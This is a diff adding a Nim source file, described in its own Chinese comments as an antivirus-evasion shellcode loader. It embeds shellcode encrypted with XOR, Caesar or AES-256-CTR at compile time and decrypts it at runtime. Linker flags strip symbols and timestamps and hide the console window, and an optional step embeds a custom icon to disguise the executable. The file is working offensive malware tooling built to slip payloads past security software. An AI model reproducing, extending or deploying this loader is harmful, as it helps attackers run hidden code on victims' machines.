|
| 1 | +## Nim ShellCode Loader - 免杀版本 |
| 2 | +## 强制使用 XOR 加密 |
| 3 | + |
| 4 | +{.passL: "-static".} |
| 5 | +{.passL: "-Wl,--no-insert-timestamp".} |
| 6 | +{.passL: "-Wl,--strip-all".} |
| 7 | +{.passL: "-s".} # strip 符号表 |
| 8 | +{.passL: "-mwindows".} # GUI 模式(隐藏控制台) |
| 9 | +{.passC: "-Os".} # 优化体积 |
| 10 | + |
| 11 | +import strutils |
| 12 | + |
| 13 | +# ============================================================================ |
| 14 | +# 全局变量 |
| 15 | +# ============================================================================ |
| 16 | + |
| 17 | +const source {.strdefine.}: string = "" |
| 18 | +var code* {.exportc.}: cstring |
| 19 | +var codelen* {.exportc.}: cint = 0 |
| 20 | + |
| 21 | +# ============================================================================ |
| 22 | +# XOR 加密/解密 |
| 23 | +# ============================================================================ |
| 24 | + |
| 25 | +when defined(XOR): |
| 26 | + # 生成加密文件 |
| 27 | + const encryptedFilePathRaw = staticExec( |
| 28 | + "nim r --hints:off ../encryption/Xor.nim " & source) |
| 29 | + const encryptedFilePath = block: |
| 30 | + let lines = encryptedFilePathRaw.splitLines() |
| 31 | + var result = "" |
| 32 | + for line in lines: |
| 33 | + let trimmed = line.strip() |
| 34 | + if trimmed.len > 0 and (trimmed.startsWith("C:\\") or |
| 35 | + trimmed.startsWith("/")): |
| 36 | + result = trimmed |
| 37 | + result |
| 38 | + |
| 39 | + when encryptedFilePath == "": |
| 40 | + {.error: "Failed to generate XOR encrypted file. Output: " & encryptedFilePathRaw.} |
| 41 | + |
| 42 | + # 加载加密数据(编译时) |
| 43 | + const encryptedDataConst = staticRead(encryptedFilePath) |
| 44 | + |
| 45 | + # 运行时解密和初始化 |
| 46 | + proc initXorShellcode() = |
| 47 | + # 计算payload长度 |
| 48 | + let payloadLen = encryptedDataConst.len - 16 |
| 49 | + |
| 50 | + # 分配内存并复制数据 |
| 51 | + var buffer = newString(payloadLen) |
| 52 | + for i in 0..<payloadLen: |
| 53 | + buffer[i] = encryptedDataConst[16 + i] |
| 54 | + |
| 55 | + # 解密(直接操作buffer) |
| 56 | + let bufferPtr = cast[ptr UncheckedArray[byte]](addr buffer[0]) |
| 57 | + for i in 0..<payloadLen: |
| 58 | + bufferPtr[i] = bufferPtr[i] xor encryptedDataConst[i mod 16].byte |
| 59 | + |
| 60 | + # 设置全局变量 |
| 61 | + code = cstring(buffer) |
| 62 | + codelen = cast[cint](payloadLen) |
| 63 | + |
| 64 | + initXorShellcode() |
| 65 | + |
| 66 | +# ============================================================================ |
| 67 | +# Caesar 解密 |
| 68 | +# ============================================================================ |
| 69 | + |
| 70 | +elif defined(Caesar): |
| 71 | + import sequtils |
| 72 | + |
| 73 | + # 生成加密文件 |
| 74 | + const encryptedFilePathRaw = staticExec( |
| 75 | + "nim r --hints:off ../encryption/Caesar.nim " & source) |
| 76 | + const encryptedFilePath = encryptedFilePathRaw.splitLines()[^1].strip() |
| 77 | + |
| 78 | + # 加载加密数据 |
| 79 | + const encryptedDataConst = staticRead(encryptedFilePath) |
| 80 | + |
| 81 | + proc initCaesarShellcode() = |
| 82 | + let encryptedData = encryptedDataConst |
| 83 | + let dictionary = encryptedData[0..255].mapIt(it.byte) |
| 84 | + let encryptedTable = encryptedData[256..high(encryptedData)].mapIt(it.byte) |
| 85 | + var temp: string = "" |
| 86 | + temp.setLen(encryptedTable.len) |
| 87 | + |
| 88 | + for round in 0..254: |
| 89 | + for idx in 0..high(encryptedTable): |
| 90 | + temp[idx] = cast[cchar](dictionary[encryptedTable[idx]]) |
| 91 | + |
| 92 | + code = cstring(temp) |
| 93 | + codelen = cast[cint](encryptedTable.len) |
| 94 | + |
| 95 | + initCaesarShellcode() |
| 96 | + |
| 97 | +# ============================================================================ |
| 98 | +# AES-256-CTR 解密 |
| 99 | +# ============================================================================ |
| 100 | + |
| 101 | +elif defined(AES): |
| 102 | + import nimcrypto |
| 103 | + |
| 104 | + # 生成加密文件 |
| 105 | + const encryptedFilePathRaw = staticExec( |
| 106 | + "nim r --hints:off ../encryption/Aes256Ctr.nim " & source) |
| 107 | + const encryptedFilePath = encryptedFilePathRaw.splitLines()[^1].strip() |
| 108 | + |
| 109 | + # 加载加密数据 |
| 110 | + const encryptedDataConst = staticRead(encryptedFilePath) |
| 111 | + |
| 112 | + proc initAesShellcode() = |
| 113 | + let encryptedData = encryptedDataConst |
| 114 | + const envKey: string = "TARGETDOMAIN" |
| 115 | + var |
| 116 | + dctx: CTR[aes256] |
| 117 | + key: array[aes256.sizeKey, byte] |
| 118 | + iv: array[aes256.sizeBlock, byte] |
| 119 | + |
| 120 | + for i in 0..15: |
| 121 | + iv[i] = encryptedData[i].byte |
| 122 | + |
| 123 | + let encryptedTextLen = encryptedData.len - 16 |
| 124 | + var encryptedText = newSeq[byte](encryptedTextLen) |
| 125 | + var decryptedText = newSeq[byte](encryptedTextLen) |
| 126 | + |
| 127 | + for i in 0 ..< encryptedTextLen: |
| 128 | + encryptedText[i] = encryptedData[i + 16].byte |
| 129 | + |
| 130 | + var expandedKey = sha256.digest(envKey) |
| 131 | + copyMem(addr key[0], addr expandedKey.data[0], len(expandedKey.data)) |
| 132 | + |
| 133 | + dctx.init(key, iv) |
| 134 | + dctx.decrypt(encryptedText, decryptedText) |
| 135 | + dctx.clear() |
| 136 | + |
| 137 | + code = cast[cstring](alloc0(encryptedTextLen)) |
| 138 | + copyMem(code, addr decryptedText[0], encryptedTextLen) |
| 139 | + codelen = cast[cint](encryptedTextLen) |
| 140 | + |
| 141 | + initAesShellcode() |
| 142 | + |
| 143 | +# ============================================================================ |
| 144 | +# 无加密(直接读取) |
| 145 | +# ============================================================================ |
| 146 | + |
| 147 | +else: |
| 148 | + # 直接读取shellcode(未加密) |
| 149 | + const shellcodeDataConst = staticRead(source) |
| 150 | + |
| 151 | + proc initPlainShellcode() = |
| 152 | + var temp: string = shellcodeDataConst |
| 153 | + code = cstring(temp) |
| 154 | + codelen = cast[cint](shellcodeDataConst.len) |
| 155 | + |
| 156 | + initPlainShellcode() |
| 157 | + |
| 158 | +# ============================================================================ |
| 159 | +# Windows 图标嵌入 |
| 160 | +# ============================================================================ |
| 161 | + |
| 162 | +when defined(gcc) and defined(windows) and defined(icoPath): |
| 163 | + import strformat, os |
| 164 | + const icoPath {.strdefine.}: string = "" |
| 165 | + |
| 166 | + static: |
| 167 | + const rcName = getTempDir() / "demo.rc" |
| 168 | + const iconObject = getTempDir() / "demo_icon.o" |
| 169 | + |
| 170 | + assert(icoPath != "", "Icon file path not set!") |
| 171 | + assert(fileExists(icoPath), &"Icon file does not exist: {icoPath}") |
| 172 | + |
| 173 | + const resourceText = &"1 ICON \"{icoPath}\"" |
| 174 | + writeFile(rcName, resourceText) |
| 175 | + assert(fileExists(rcName), &"Failed to generate resource file: {rcName}") |
| 176 | + |
| 177 | + when defined(x86): |
| 178 | + {.link: "demo.res".} |
| 179 | + else: |
| 180 | + const windresCmd = "cmd /c \"windres -i " & rcName & " -o " & iconObject & "\"" |
| 181 | + discard staticExec(windresCmd & " 2>&1") |
| 182 | + assert(fileExists(iconObject), |
| 183 | + &"Failed to generate object file: {iconObject}\n" & |
| 184 | + "Check: ICO format valid? windres in PATH?") |
| 185 | + {.link: iconObject.} |
0 commit comments